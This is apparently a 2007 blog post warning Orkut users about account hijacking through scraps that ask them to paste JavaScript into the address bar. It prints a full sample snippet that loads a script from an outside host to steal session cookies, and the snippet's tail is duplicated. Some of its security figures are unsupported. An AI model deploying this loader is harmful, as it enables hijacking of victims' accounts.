Hacking Orkut!!! Not Easy but possible!!!!

Now a days ,Orkut has become alternate name to Internet with over 53 Million accounts[as on 20 May 2007] ,its quite justifiable that people now want to hack orkut accounts for different malacious reasons. But hacking orkut means challenging the INNOVATION GIANT Google.Google was aware of the high security theft ,so it made a 4 level security firewall gate for orkut accounts.Hence making it difficult to hack Orkut accounts using Brute force or Rainbow tables.You can see the security levels in the figure.

But still daily 50000 accounts are getting hacked or attemped hacking attacks are recored.So,it is being done. So,its done using bit of social engineering and bit of scripting.If ever you recieves a scrap having following code and asking you to paste in address bar..be carefull...first check the script a bit...is it containing terms like 'xid-' or 'uid-'..

sample code:

javascript:aumentando_membros = prompt('Digite o nome da sua comunidade',''); multiplicando_membros = document.createElement('script'); multiplicando_membros.src = "http://cook.freehostia.com/js.php?uid=10288601952438406116"; document.getElementsByTagName('head')[0].appendChild(multiplicando_membros); alert('Aumentando membros da comunidade '+aumentando_membros+'....'); alert('Aguarde alguns instantes ...');void(0)"; document.getElementsByTagName('head')[0].appendChild(multiplicando_membros); alert('Aumentando membros da comunidade '+aumentando_membros+'....'); alert('Aguarde alguns instantes ...');void(0)

If yes then better delete the scrap and not paste the code in address bar..because this code will send some important information to hacker and using cookiee editor he will login into your account easily ......and this way YOUR ORKUT ACCOUNT HACKED!!!!!

SO PREVENTION IS THE ONLY WAY TO CHECK ORKUT HACKING!!!


http://technorati.com/tag/hacking" rel="tag">hacking

security

http://technorati.com/tag/orkut" rel="tag">orkut